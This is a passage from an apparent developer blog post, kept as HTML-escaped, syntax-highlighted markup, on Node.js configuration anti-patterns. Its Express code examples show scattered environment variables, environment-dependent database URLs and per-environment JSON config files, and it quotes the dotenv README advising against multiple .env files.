&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;router&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; express.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Router&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Scattered configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;apiBaseUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;API_BASE_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;apiToken&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;API_TOKEN&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;router.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/data&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Make a request to an external API using the scattered configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; router;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll notice that a variation of this anti-pattern is when scattered configuration data is accessed via environment variables such as &lt;code&gt;process.env.API_BASE_URL&lt;/code&gt; through-out the codebase.&lt;/p&gt;
&lt;p&gt;While environment variables are a viable option for configuration management, they can quickly become unwieldy when used in this manner.&lt;/p&gt;
&lt;h3 id=&quot;3-environment-dependent-configurations&quot;&gt;3. Environment-dependent configurations&lt;/h3&gt;
&lt;p&gt;Manually switching between different configuration settings based on the environment (e.g., development, staging, production) is another anti-pattern. This involves writing conditional code blocks to handle different settings, which can lead to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Human error: Mistakes can happen, and you might forget to switch the environment, potentially leading to data corruption or other issues.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code complexity: Your codebase can quickly become cluttered with environment-specific logic, making it harder to understand and maintain.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Node.js configuration anti-pattern to avoid, demonstrating environment-dependent configurations&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dbUrl;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Environment-dependent configurations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;NODE_ENV&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;development&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  dbUrl &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mongodb://localhost:27017/dev_database&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;NODE_ENV&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;production&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  dbUrl &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mongodb://dbserver.prod:27017/prod_database&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  dbUrl &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mongodb://localhost:27017/test_database&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use the dbUrl based on the environment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Server is running on port ${&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another variation of this pattern is when different configuration files are used for different environments, such as &lt;code&gt;config.staging.json&lt;/code&gt;, &lt;code&gt;config.dev.json&lt;/code&gt;, and so on. This practice can lead to code duplication and maintenance challenges.&lt;/p&gt;
&lt;p&gt;Consider the following directory structure:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - config.dev.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - config.staging.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - config.prod.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;- server.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this directory structure, there are separate configuration files for different environments.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;config/config.dev.json&lt;/code&gt; file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;dbUrl&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;mongodb://localhost:27017/dev_database&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;apiBaseUrl&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;http://localhost:3000/dev&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here’s what the &lt;code&gt;config/config.staging.json&lt;/code&gt; file might look like:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;dbUrl&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;mongodb://dbserver.staging:27017/staging_database&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;apiBaseUrl&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;http://localhost:3000/staging&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, a Node.js application might load it’s environment-specific configuration data as follows, demonstrating this anti-pattern:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;environment&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;NODE_ENV&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;development&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`./config/config.${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;environment&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}.json`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use configuration values from the loaded config file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.dbUrl;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;apiBaseUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.apiBaseUrl;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Server is running on port ${&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In fact, even the official &lt;a href=&quot;https://github.com/motdotla/dotenv&quot;&gt;dotenv package&lt;/a&gt; mentions this anti pattern as part of the README:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Should I have multiple .env files?
No. We strongly recommend against having a “main” .env file and an “environment” .env file like .env.test. Your config should vary between deploys, and you should not be sharing values between environments.&lt;/p&gt;
&lt;/blockquote&gt;
